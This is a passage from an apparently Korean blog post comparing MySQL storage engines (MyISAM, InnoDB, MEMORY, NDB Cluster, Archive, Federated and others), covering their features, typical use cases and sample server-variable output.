보통 history Data나 로그를 가지는 Table들에서 사용됨
.
오라클의 파티셔닝과 그 개념이 유사
.

1.2 적합한 사용처

- 트레픽이 많은 웹사이트

- Data ware house

- 정적인 Table, 로그 Table
-
쓰기작업이 별로 없는 select 위주의
Table.
- current insert
기능이 read시에 insert가 가능하게 하므로 로그 Table에 사용될 수 있다
.

 

2. InnoDB

2.1 기본적인 특징

l        ACIDTransaction 지원

l        Table space 64TB Data의 저장을 지원

l        MyISAM보다 Data 저장 비율이 낮음

l        다른 Engine들에 비해 느린 Data 로드 속도

l        MVCC/Snapshot read를 지원

l        B-tree clusteredIndex를 지원

l        특정 DataIndex에 대한 Memory Cache 지원

l        외부키 지원

l        Data 압축옵션을 제공하지 않음

l        row레벨 Lock을 지원하며 여러가지 isolation레벨을 지원

l        자동 에러복구 기능

l        Backup 및 특정시점으로의 복구지원

 

ACID 트랜잭션, multi-versioning, row-level locking, foreign key제약조건 지원됨.
크래쉬후 자동복구 지원

Data
Index가 모두 저장되는 Tablespace 개념이 사용됨.
오라클의 Tablespace와 같이 여러개의 파일들로 구성될 수 있다
.
select
Lock킹이 필요치 않으며, 갱신작업들은 행단위 Lock킹을 사용
.
높은 동시성을 제공하지만, MyISAM에 비해 3배정도의 디스크 사용량을 요구함
.
최적의 성능을 위해 많은 Memory InnoDB buffer pool에 할당되어야 함
.
Cluster
Primary key btreeIndex 사용

commit
된 트랜잭션은 redo log에 기록되고, 이는 적정한 시간에 Tablespace에 기록된다.
mysqldump
Backup가능
.

참고
>
show variables
는 서버변수 값을 파악 시 사용한다. 오라클에서의 show parameter와 유사하다
.
mysql> show variables like 'have%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| have_bdb         | NO    |
| have_crypt       | NO    |
| have_compress    | YES   |
| have_innodb      | YES   |
| have_isam        | NO    |
| have_raid        | NO    |
| have_symlink     | YES   |
| have_openssl     | NO    |
| have_query_cache | YES   |
+------------------+-------+
9 rows in set (0.00 sec)

SQL> show parameter timed
NAME                                 TYPE        VALUE
------------------------------------ ----------- ----------------
timed_os_statistics                  integer     0
timed_statistics                     boolean     TRUE

2.2 적합한 사용처

- Online Transaction을 지원하는 Application

- 민감한 정보를 갖는 Table(회원Table, 돈에 관련된 Table)
-
갱신(읽기/쓰기) 위주의 트랜잭션이 요구되는
Table.
- Index
가 많이 걸린 대량의
Table.

3. MEMORY(HEAP)
모든 Data들은 Memory에 저장됨.
다른 Table타입들에 비해 속도가 월등히 빠르지만, 서버가 셧다운 시 Data는 모두 소실된다
.
동등조건( ex) where a=10) 검색에 HASH기반 검색을 제공한다
.
이는 범위 검색 시 Index가 사용되지 못한다는 것을 의미한다. varchar, blob, text컬럼 사용 못 함
.
4.1
버전부터는 tree기반 Index도 사용가능 함.

일시적으로만 사용되는 임시 Table.

 

4. Cluster(NDB)

4.1 기본적인 특징

l        Transaction 지원

l        모든 DataIndexMemory에 존재

l        TableMemory 제한은 5.1버전부터 사라짐

l        매우 빠른 Data 로드 속도

l        MVCC/Snapshot read지원

l        B-tree Index 지원

l        Primary key 사용시 최상의 속도를 나타냄

l        99.999% uptime을 제공

l        Cluster간 어떤것도 공유하지 않는 구조(shared Nothing)

l        SQL API와 함께 고속의 접근을 위한 API제공

l        Online Backup과 특정 시점으로의 복구 지원

 

4.2적합한 사용처

고가용성이 반드시 필요한 Application

고속의 Data/key look up이 필요한 Application

 

5. Archive

5.1 기본적인 특징

l        5.0에 새롭게 도입

l        자동적인 Data 압축을 지원

l        다른 Storage Engine 대비 80%의 저장공간 절약

l        실제적인 저장용량의 제한 없슴

l        가장 빠른 Data 로드 속도

l        MVCC/Snapshot read를 제공

l        Index 미지원

l        빠른 Insert 속도를 위해 특별한 입력 버퍼를 제공

l        Insert select만을 지원

l        row레벨 Lock을 지원

l        Backup 및 특정 시점으로의 복구 지원

Data베이스에는 빈번하게 사용되는 Data뿐만 아니라 의사 결정이나 통계에 사용하기 위해 계속 누적되는 Data도 많은 부분 존재한다. 이런 경우 Data베이스의 용량은 필연적으로 계속해서 증가하기 마련이고 이러한 Data가 차지하는 공간을 줄이고 효율적으로 사용하기 위해 도입된 것이 바로 Achive Storage Engine이다.

 

MySQL에서는 그 동안 빈번히 사용되지 않는 대용량 Data를 처리하기 위해 압축 MyISAM Table이라는 것을 사용했다. Achive Storage Engine이 압축 MyISAM Table에 비해 어떤 장점이 있는지 살펴보자.

 

압축 MyISAM Table MyISAM Table을 압축해 보관하는 것으로써 반드시 Table이 오프라인 상태여야 했지만 Achive Table Online 상태에서 모든 작업을 할 수 있다.

• MyISAM Table
을 압축하기 위해서는 DBA가 운영체제 상에서 myisampack이라는 유틸리티를 실행시켜야 했지만 Achive Table MySQL 클라이언트 상에서 MySQL SQL 커맨드로써 가능하다.

압축 MyISAM Table은 오직 SELECT만 가능하였지만 Achive Table SELECT INSERT가 모두 가능하며 끊김 없는 읽기 메커니즘을 통해 쓰는 동안 읽기 작업이 중단되지 않는다.

• Achive Table
은 일반 MyISAM Table에 비해 75%나 용량이 감소하며 압축 MyISAM Table에 비해서도 7% 이상 용량이 작다.

 

5.2 적합한 사용처

해를 두고 계속되는 Data를 위한 Data ware house

Data 저장 Application

Data 검사

 

6. Federated

6.1 기본적인 특징

l        5.0에 새롭게 도입됨

l        원격의 물리적 Data 베이스에 대한 논리적 Data 베이스를 생성

l        하나의 Data 베이스에서 다른 타겟 오브젝트로의 포인터역할

l        원격 Data 접근을 위한 특별한 미들웨어가 필요하지 않음

l        실행 속도는 네트워크 요소에 따라 좌우됨

l        실제 Data 베이스의 Engine 특성에 따라 처리됨

l        Table 정의를 통한 SSL보안 처리

l        모든 SQL 오퍼레이션 지원( as per target object)

 

6.2 적합한 사용처

분산 Data 베이스 환경

Federated Storage Engine은 오라클의 DB Link와 같은 기능의 Storage Engine으로써 원격 서버에 있는 Table을 로컬 Table과 같이 사용할 수 있도록 한다. 이를 통해 여러 대의 MySQL 서버를 용도에 따라 구분하고 필요한 경우에는 서로 참조해 사용할 수 있다.

 

Federated Storage Engine의 사용은 매우 간단한 작업만으로 가능하다. 두 대의 MySQL 서버를 사용한다고 가정하고 어떻게 Federated Storage Engine을 사용할 수 있는지 알아보자. 먼저 실제로 Table이 생성되고 Data가 저장될 MySQL 서버에 다음과 같이 Table을 만들었다.

 

그리고 이 Table은 원격에서 사용하는 서버에 다음과 같이 Federated Storage Engine 기반의 Table을 만들어서 바로 사용할 수 있다.

 

 

7. 기타 StorageEngine

7.1 기본적인 특징

l        RAM에 상주하는 Memory Table; Data가 셧다운시 사라짐

l        Memory Table B-tree Hash Index 둘다 지원함

l        BDB Table Commit/rollback Transaction 지원을 제공

l        Merge Table은 기본적으로 MyISAM Table의 모음

l        Merge TableData 파티셔닝의 한 방법

l        커스텀 Storage Engine 역시 Mysql에 사용가능

 

7.2 적합한 사용처

l        Memory: Data 오브젝트의 빠른 검색

l        BDB : Online Transaction 프로세싱

l        Merge : 분할된 Data를 가진 대용량 Data 베이스

l        커스텀 : 특별 Application 상황


로깅이나 검색에서는 MyISAM

등록정보나 배너시스템에서는 InnoDB
임시Table, 뉴스의 헤드라인, 로드가 많은 페이지의 Data에 대해선 heap을 사용한다.

+ Recent posts